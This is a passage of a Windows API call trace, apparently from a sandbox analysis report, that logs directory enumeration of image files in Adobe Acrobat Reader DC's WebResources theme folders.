lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee72deb0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee72deb0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee72deb0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4038, dwReserved0=0x0, dwReserved1=0x0, cFileName="A12_Spinner_int_2x.gif", cAlternateFileName="A12_SP~2.GIF")) returned 1 [0139.003] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee72deb0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee72deb0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee72deb0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xe7d, dwReserved0=0x0, dwReserved1=0x0, cFileName="adc_logo.png", cAlternateFileName="")) returned 1 [0139.003] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee72deb0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee72deb0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee72deb0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x22c, dwReserved0=0x0, dwReserved1=0x0, cFileName="adobe_spinner.gif", cAlternateFileName="ADOBE_~1.GIF")) returned 1 [0139.003] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee754143, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee754143, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee754143, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0x0, dwReserved1=0x0, cFileName="adobe_spinner_mini.gif", cAlternateFileName="ADOBE_~2.GIF")) returned 1 [0139.003] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee754143, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee754143, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee754143, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x12a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="apple-touch-icon-114x114-precomposed.png", cAlternateFileName="APPLE-~2.PNG")) returned 1 [0139.003] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee72deb0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee72deb0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee72deb0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x235b, dwReserved0=0x0, dwReserved1=0x0, cFileName="apple-touch-icon-144x144-precomposed.png", cAlternateFileName="APPLE-~1.PNG")) returned 1 [0139.003] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee754143, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee754143, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee754143, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xac7, dwReserved0=0x0, dwReserved1=0x0, cFileName="apple-touch-icon-57x57-precomposed.png", cAlternateFileName="APPLE-~3.PNG")) returned 1 [0139.003] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee754143, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee754143, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee754143, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xe8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="apple-touch-icon-72x72-precomposed.png", cAlternateFileName="APPLE-~4.PNG")) returned 1 [0139.004] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee72deb0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee72deb0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee72deb0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x84a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ccloud.png", cAlternateFileName="")) returned 1 [0139.004] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3181, dwReserved0=0x0, dwReserved1=0x0, cFileName="ccloud_retina.png", cAlternateFileName="CCLOUD~1.PNG")) returned 1 [0139.004] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee754143, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee754143, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee754143, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x132, dwReserved0=0x0, dwReserved1=0x0, cFileName="close_x.png", cAlternateFileName="")) returned 1 [0139.004] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee72deb0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee72deb0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee72deb0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x7068, dwReserved0=0x0, dwReserved1=0x0, cFileName="core_icons.png", cAlternateFileName="CORE_I~2.PNG")) returned 1 [0139.004] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee72deb0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee72deb0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee72deb0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xfdf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="core_icons_retina.png", cAlternateFileName="CORE_I~1.PNG")) returned 1 [0139.004] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee754143, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee754143, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee754143, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x44b, dwReserved0=0x0, dwReserved1=0x0, cFileName="dd_arrow_small.png", cAlternateFileName="DD_ARR~1.PNG")) returned 1 [0139.004] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee72deb0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee72deb0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee72deb0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x209c, dwReserved0=0x0, dwReserved1=0x0, cFileName="favicon.ico", cAlternateFileName="")) returned 1 [0139.004] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee754143, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee754143, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee754143, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1185, dwReserved0=0x0, dwReserved1=0x0, cFileName="illustrations.png", cAlternateFileName="ILLUST~2.PNG")) returned 1 [0139.004] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee72deb0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee72deb0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee72deb0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2890, dwReserved0=0x0, dwReserved1=0x0, cFileName="illustrations_retina.png", cAlternateFileName="ILLUST~1.PNG")) returned 1 [0139.005] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee72deb0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee72deb0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee72deb0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4d8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ind_prog.gif", cAlternateFileName="")) returned 1 [0139.005] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee72deb0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee72deb0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee72deb0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x238, dwReserved0=0x0, dwReserved1=0x0, cFileName="japanese_over.png", cAlternateFileName="JAPANE~1.PNG")) returned 1 [0139.005] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee72deb0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee72deb0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee72deb0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x7e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="large_trefoil.png", cAlternateFileName="LARGE_~1.PNG")) returned 1 [0139.005] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee754143, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee754143, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee754143, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x10ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="large_trefoil_2x.png", cAlternateFileName="LARGE_~2.PNG")) returned 1 [0139.005] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee754143, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee754143, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee754143, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1b2b, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo_retina.png", cAlternateFileName="LOGO_R~1.PNG")) returned 1 [0139.005] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee72deb0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee72deb0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee72deb0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x469, dwReserved0=0x0, dwReserved1=0x0, cFileName="progress-indeterminate.gif", cAlternateFileName="PROGRE~2.GIF")) returned 1 [0139.005] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x392e, dwReserved0=0x0, dwReserved1=0x0, cFileName="progress_spinner.gif", cAlternateFileName="PROGRE~1.GIF")) returned 1 [0139.005] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee754143, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee754143, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee754143, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x927b, dwReserved0=0x0, dwReserved1=0x0, cFileName="progress_spinner2x.gif", cAlternateFileName="PROGRE~4.GIF")) returned 1 [0139.006] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee72deb0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee72deb0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee72deb0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2a30, dwReserved0=0x0, dwReserved1=0x0, cFileName="progress_spinner_dark.gif", cAlternateFileName="PROGRE~3.GIF")) returned 1 [0139.006] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee754143, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee754143, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee754143, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6aa2, dwReserved0=0x0, dwReserved1=0x0, cFileName="progress_spinner_dark2x.gif", cAlternateFileName="PRBC72~1.GIF")) returned 1 [0139.006] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee72deb0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee72deb0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee72deb0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="RHP_icons.png", cAlternateFileName="RHP_IC~1.PNG")) returned 1 [0139.006] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee754143, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee754143, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee754143, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="RHP_icons_2x.png", cAlternateFileName="RHP_IC~2.PNG")) returned 1 [0139.006] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee72deb0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee72deb0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee754143, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x616, dwReserved0=0x0, dwReserved1=0x0, cFileName="selection-actions.png", cAlternateFileName="SELECT~2.PNG")) returned 1 [0139.006] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee72deb0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee72deb0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee72deb0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xbf9, dwReserved0=0x0, dwReserved1=0x0, cFileName="selection-actions2x.png", cAlternateFileName="SELECT~1.PNG")) returned 1 [0139.006] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0139.007] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0139.007] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb190) returned 1 [0139.007] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb150) returned 1 [0139.007] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb250) returned 1 [0139.007] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark", nBufferLength=0x105, lpBuffer=0x1fdeacf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark", lpFilePart=0x0) returned 0x66 [0139.007] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\*", lpFindFileData=0x1fdeaf70 | out: lpFindFileData=0x1fdeaf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee754143, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0139.008] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee754143, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.008] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee754143, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee754143, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee754143, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1a85, dwReserved0=0x0, dwReserved1=0x0, cFileName="A12_Spinner.gif", cAlternateFileName="A12_SP~4.GIF")) returned 1 [0139.008] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee754143, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee754143, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee754143, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3b29, dwReserved0=0x0, dwReserved1=0x0, cFileName="A12_Spinner_2x.gif", cAlternateFileName="A12_SP~3.GIF")) returned 1 [0139.009] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee72deb0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee72deb0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee72deb0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1a3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="A12_Spinner_int.gif", cAlternateFileName="A12_SP~1.GIF")) returned 1 [0139.009] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee72deb0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee72deb0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee72deb0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4038, dwReserved0=0x0, dwReserved1=0x0, cFileName="A12_Spinner_int_2x.gif", cAlternateFileName="A12_SP~2.GIF")) returned 1 [0139.009] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee72deb0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee72deb0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee72deb0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xe7d, dwReserved0=0x0, dwReserved1=0x0, cFileName="adc_logo.png", cAlternateFileName="")) returned 1 [0139.009] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee72deb0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee72deb0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee72deb0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x22c, dwReserved0=0x0, dwReserved1=0x0, cFileName="adobe_spinner.gif", cAlternateFileName="ADOBE_~1.GIF")) returned 1 [0139.009] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee754143, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee754143, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee754143, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0x0, dwReserved1=0x0, cFileName="adobe_spinner_mini.gif", cAlternateFileName="ADOBE_~2.GIF")) returned 1 [0139.009] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee754143, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee754143, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee754143, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x12a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="apple-touch-icon-114x114-precomposed.png", cAlternateFileName="APPLE-~2.PNG")) returned 1 [0139.010] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee72deb0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee72deb0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee72deb0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x235b, dwReserved0=0x0, dwReserved1=0x0, cFileName="apple-touch-icon-144x144-precomposed.png", cAlternateFileName="APPLE-~1.PNG")) returned 1 [0139.010] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee754143, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee754143, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee754143, 